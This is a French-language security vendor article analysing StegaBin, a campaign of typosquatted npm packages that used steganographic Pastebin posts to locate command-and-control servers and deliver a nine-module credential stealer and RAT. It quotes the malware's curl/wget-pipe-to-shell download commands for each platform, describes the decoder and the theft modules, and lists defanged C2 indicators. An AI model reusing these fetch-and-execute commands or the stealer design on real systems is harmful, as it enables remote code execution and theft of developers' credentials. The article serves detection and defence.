In this article
Dans les coulisses de StegaBin : comment une campagne de stéganographie nord-coréenne a fait la une
Fin février 2026, un acteur nord-coréen a publié 26 packages npm malveillants depuis des comptes jetables, en l’espace de deux jours. Les packages utilisaient la stéganographie textuelle pour dissimuler des URL de commande et contrôle dans des publications Pastebin présentées comme des essais d’informatique. Ils déployaient un voleur d’informations et un RAT composés de neuf modules, ciblant les identifiants de navigateur, les portefeuilles crypto, les clés SSH et les configurations de VS Code. L’infrastructure reposait sur 31 déploiements Vercel avec basculement automatisé.
La campagne a suscité une vague de couverture médiatique : The Hacker News, SecurityOnline, GBHackers, DevOps.com et d’autres ont publié des articles. Socket a publié un billet de recherche détaillé, portant le nombre initial de 17 packages à 26.
À notre connaissance, l’adoption réelle de ces packages a été négligeable. C’est conforme à ce que l’on observe généralement avec ce type de campagne.
Chronologie
Date | Événement |
|---|---|
11 février 2026 | Création des publications Pastebin servant de points de dépôt |
25 février 2026 | Publication des premiers packages npm malveillants (\~19:38 UTC) |
26 février 2026 | Publication du dernier lot (\~10:35 UTC) |
\~2 mars 2026 | kmsec.uk publie la recherche initiale (17 packages) ; Socket étend l’analyse à 26 |
2-3 mars 2026 | The Hacker News, SecurityOnline, GBHackers et d’autres publient des articles |
6 mars 2026 | Tous les packages sont signalés et retirés de npm |
9 mars 2026 | Les 26 avis sont publiés dans la Snyk Vulnerability Database |
Ce que fait réellement StegaBin
Avant d’examiner ce que révèlent les données, il convient de comprendre le travail technique réalisé. Attribuée au groupe de menace lié à la Corée du Nord suivi sous le nom de Contagious Interview (également connu sous les noms de FAMOUS CHOLLIMA, DeceptiveDevelopment et PurpleBravo), cette campagne marque une évolution dans la façon dont les malwares npm localisent leur infrastructure C2.
Les packages
Entre le 25 et le 26 février 2026, 17 packages ont été publiés depuis des comptes npm jetables individuels. Le chercheur en sécurité kmsec a identifié le premier lot ; Socket a ensuite élargi le total à 26. Tous les packages suivent le même schéma : des typosquats de bibliothèques populaires, aux noms plausibles.
Package | Imite | Publié |
|---|---|---|
| dayjs | 26 févr., 10:35 UTC |
| cors | 26 févr., 10:33 UTC |
| sequelize | 26 févr., 10:16 UTC |
| express | 26 févr., 10:05 UTC |
| lodash | 25 févr., 22:31 UTC |
| fastify | 25 févr., 22:07 UTC |
| vitest | 25 févr., 22:21 UTC |
| prism | 25 févr., 22:13 UTC |
| argon2 | 25 févr., 21:51 UTC |
| bcrypt | 25 févr., 21:46 UTC |
| ethers | 25 févr., 19:38 UTC |
(Liste complète des 26 : argonist, bcryptance, bee-quarl, bubble-core, corstoken, daytonjs, ether-lint, expressjs-lint, fastify-lint, formmiderable, hapi-lint, iosysredis, jslint-config, jsnwebapptoken, kafkajs-lint, loadash-lint, mqttoken, prism-lint, promanage, sequelization, typoriem, undicy-lint, uuindex, vitetest-lint, windowston, zoddle)
Chaque package contient le même code malveillant dans vendor/scrypt-js/version.js (SHA256 : da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4). Un script install dans le package.json du package déclenche node ./scripts/test/install.js, qui importe et exécute simplement cette charge utile.
L’astuce de stéganographie
C’est cette technique qui a donné son nom à la campagne et lui a valu de faire la une.
Au lieu d’inscrire les domaines C2 en dur (qui seraient très facilement bloqués), le malware récupère trois publications Pastebin contenant ce qui ressemble à des essais ordinaires d’informatique. Le texte dissimule des URL C2 encodées par stéganographie au niveau des caractères : des caractères à intervalles réguliers dans l’essai sont remplacés pour former des adresses d’infrastructure.
Le décodeur :
Supprime les caractères Unicode de largeur nulle du texte récupéré
Lit un marqueur de longueur à 5 chiffres au début
Calcule des positions de caractères régulièrement espacées dans le texte
Extrait le caractère à chaque position
Sépare le résultat à l’aide du séparateur
|||et s’arrête à===END===
Les trois points de dépôt Pastebin ont été créés le 11 février 2026, deux semaines avant la publication des packages :
URL Pastebin | Auteur | Vues |
|---|---|---|
| davidsouza23 | 353 |
| Edgar04231 | 15 |
| Edgar04231 | 19 |
Le nombre de vues est révélateur. La publication principale a été consultée 353 fois (probablement par des chercheurs qui l’ont analysée et par des exécutions réelles du malware). Les publications de secours ont à peine été consultées.
Distribution de charges utiles selon la plateforme
L’URL C2 décodée pointe vers un déploiement Vercel (ext-checkdin[.]vercel[.]app), avec 31 domaines de secours suivant des modèles tels que cleverstack-ext301, brightlaunch-app615 et neuraldock-ext126. Les agents utilisateur autres que curl reçoivent une page leurre indiquant « Permanently suspended ».
Le point de terminaison Vercel fournit des charges utiles shell spécifiques à chaque plateforme :
# macOS
curl -s 'https://${c2Host}/api/m' | sh
# Drops ~/Library/tokenlinux.sh, executes via nohup
# Linux
wget -qO- 'https://${c2Host}/api/l' | sh
# Drops ~/.config/tokenlinux.npl, renames to .sh, executes via nohup
# Windows
curl -s https://${c2Host}/api/w | cmd
# Drops %APPDATA%\parse\token.cmdLes trois variantes s’exécutent en arrière-plan (spawn(shellPath, shellArgs, { stdio: 'ignore', detached: true })), sans afficher de sortie dans la console.
Le voleur d’informations à neuf modules
La charge utile finale est une boîte à outils modulaire conçue pour extraire de manière exhaustive les identifiants et secrets de la machine d’un développeur :
Module | Cible | Technique |
|---|---|---|
bro | Identifiants de navigateur | Récupère les mots de passe enregistrés dans Chrome, Firefox, Opera et Edge |
j | Portefeuilles crypto | Cible 86 ID d’extensions de navigateur (MetaMask, Phantom, Coinbase Wallet, etc.) |
vs | VS Code | Injecte un fichier |
clip | Presse-papiers/enregistreur de frappes | Surveille le presse-papiers toutes les 500 ms, intercepte les frappes à bas niveau et exfiltre les données toutes les 10 minutes |
git | Clés SSH et identifiants Git | Extrait |
z | Système de fichiers | Énumère et exfiltre les fichiers correspondant à des modèles |
truffle | Secrets dans le code | Télécharge et exécute TruffleHog, un outil légitime d’analyse des secrets, sur les dépôts locaux |
n | Accès à distance | RAT persistant utilisant WebSocket (se connecte à |
sched | Persistance | Redéploie et réactive tous les modules après un redémarrage |
Le module TruffleHog est particulièrement intéressant : au lieu de créer leur propre outil d’analyse des secrets, les attaquants téléchargent et détournent un outil de sécurité open source pour rechercher des clés API, des jetons et des identifiants dans le code de la victime.
Quelqu’un les a-t-il réellement installés ?
Les 26 packages ont été signalés par npm puis supprimés. Leurs avis respectifs sont disponibles dans la Snyk Vulnerability Database.
Compte tenu du nombre de vues Pastebin (353 pour la publication principale, 15 et 19 pour les publications de secours) et du fait qu’il s’agissait de packages tout récents, sans historique de téléchargement, leur adoption réelle semble avoir été négligeable.
Ce n’est pas surprenant quand on examine la conception de la campagne. Ces packages tout récents n’ont aucun historique de téléchargement, aucun dépendant et aucune raison d’être intégrés à un vrai projet. Leurs noms ressemblent suffisamment à ceux de vrais packages pour piéger quelqu’un qui se souvient mal d’un nom, mais expressjs-lint ne va pas se retrouver par hasard dans le fichier lock d’un projet. Ces packages atteignent leurs victimes par le biais d’un scénario d’ingénierie sociale précis : un faux recruteur envoie à un candidat un « projet test » dont les dépendances incluent le package malveillant. Les cibles sont des développeurs individuels lors d’entretiens d’embauche, et non des systèmes de production.
Un schéma récurrent
La campagne Contagious Interview sévit depuis fin 2023, dans le cadre d’une hausse des packages malveillants dans les écosystèmes open source. Des groupes liés à la Corée du Nord ont publié des centaines de packages npm malveillants en des dizaines de vagues. Socket suit ces activités de près et a publié des recherches détaillées sur plusieurs opérations. Les techniques évoluent (charges utiles sur Bitbucket, puis téléchargeurs directs, puis Google Drive, et maintenant des points de dépôt Pastebin stéganographiques), mais l’approche fondamentale reste la même : publier de nouveaux packages jetables, les utiliser dans des opérations d’ingénierie sociale ciblées et espérer que la cible les installe.
Chaque vague suscite une nouvelle série de gros titres et, chaque fois, son impact réel sur les entreprises reste négligeable. Aucun fichier package-lock.json ne récupère zoddle ni daytonjs. Le vecteur d’attaque est l’ingénierie sociale ciblant des développeurs individuels ; les packages servent de mécanisme de distribution, pas de point d’infiltration.
Quand les packages malveillants ont de l’importance
Les campagnes de packages malveillants qui justifient une réponse à incident sont celles qui compromettent des packages déjà présents dans votre arborescence de dépendances.
En septembre 2025, le ver Shai-Hulud s’est propagé via des versions piégées de ngx-bootstrap, ng2-file-upload et @ctrl/tinycolor, des packages avec de vrais volumes de téléchargement et de vrais dépendants. Cette campagne a injecté des hooks malveillants postinstall dans des packages légitimes, dérobant les identifiants npm, GitHub et cloud sur les machines des développeurs et les agents CI. En novembre, son successeur SHA1-Hulud avait touché plus de 600 packages npm distincts, dont des packages populaires de Zapier, PostHog et Postman.

Attaque NPM Shai-Hulud : mesures correctives avec Snyk
Pour approfondir le fonctionnement des compromissions de packages légitimes, consultez la leçon Compromise of legitimate package sur Snyk Learn.
Ce que cela implique pour votre programme de sécurité
Pour la plupart des entreprises, le risque concret associé aux campagnes de packages malveillants jetables est faible. Voici les mesures utiles :
1. Sachez ce que contient votre arborescence de dépendances. Si vous pouvez répondre en quelques minutes plutôt qu’en plusieurs jours à la question « Utilisons-nous l’un de ces 26 packages ? », vous êtes bien préparé. Des outils comme Snyk Open Source signalent les packages malveillants lors de chaque analyse. Dès la publication des avis, les projets concernés sont donc détectés automatiquement.
# Scan your project (includes malicious package advisories)
snyk test2. Verrouillez vos dépendances. Utilisez des fichiers de verrouillage (package-lock.json, yarn.lock) et examinez leurs modifications dans les pull requests. Les packages malveillants jetables ne s’intègrent à votre base de code que si quelqu’un les ajoute explicitement. Une différence dans le fichier de verrouillage révélant un nouveau package inconnu est un signal évident.
3. Concentrez la réponse à incident sur ce qui atteint la production. Lorsqu’une campagne de packages malveillants fait la une, la première question à poser est : « L’un de ces packages se trouve-t-il dans nos projets ? » Si la réponse est non, prenez acte de la menace, confirmez que vous n’êtes pas touché et passez à autre chose. Réservez les investigations approfondies aux cas où des packages compromis sont déjà présents dans votre arborescence de dépendances.
4. Sensibilisez les développeurs à l’ingénierie sociale liée au recrutement. La campagne Contagious Interview cible directement les développeurs au moyen de faux entretiens d’embauche et de « projets d’évaluation ». La sophistication technique réside dans le malware, mais l’accès initial repose sur une vieille méthode d’ingénierie sociale. Les développeurs doivent se méfier des projets inconnus envoyés par des recruteurs, surtout s’ils nécessitent d’exécuter npm install avec des packages qu’ils ne connaissent pas.
Pour en savoir plus sur la sécurisation de vos dépendances npm, consultez NPM Security: Preventing Supply Chain Attacks et How to Prevent Malicious Packages sur le blog de Snyk.
IOC
Pour les équipes de détection, voici les principaux indicateurs de cette campagne. Des ensembles complets d’IOC sont également tenus à jour sur GitHub par starmtp/IOCs, kraven-security/hunting-packages et stamparm/maltrail.
Hachages de fichiers (SHA256) :
# Main payload (vendor/scrypt-js/version.js) - identical across all 26 packages
da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4
# Platform-specific payloads
869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec # Linux
bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303 # macOS
e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows
accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy "Permanently suspended" page
# Additional package/component hashes
ddbb527be0f40cd13eab08e3e418e36e86e4f1f1458cf84cfee29490beacf3a6
ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9
714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add
1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636
ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4
78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4
4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12
978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8Indicateurs réseau :
# C2 infrastructure
103.106.67[.]63:1244 # RAT command channel
103.106.67[.]63:1245 # Additional RAT port
103.106.67[.]63:1247 # WebSocket persistence
# Pastebin dead drops (steganographic C2 resolvers)
hxxps://pastebin[.]com/CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT
# Primary Vercel C2
ext-checkdin[.]vercel[.]app
# Vercel fallback domains (30 additional)
cleverstack-ext301[.]vercel[.]app cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app openmatrix-app882[.]vercel[.]appIndicateurs sur l’hôte :
~/Library/tokenlinux.sh(macOS)~/.config/tokenlinux.npl(Linux)%APPDATA%\parse\token.cmd(Windows)Fichier
.vscode/tasks.jsonmodifié avec des espaces de 186 caractères (persistance dans VS Code via le déclencheurrunOn: "folderOpen")
Comportement des processus :
Node.js lance
curlouwgetRequêtes DNS de Node.js vers
pastebin.comRequêtes
curl/wgetavec agent utilisateur vers des déploiements VercelExécution du binaire TruffleHog à partir de chemins non standard
LIVRE BLANC
La crise de la sécurité de l’IA dans votre environnement Python
Avec l’accélération fulgurante du développement, savez-vous vraiment à quoi votre environnement d’IA peut accéder ?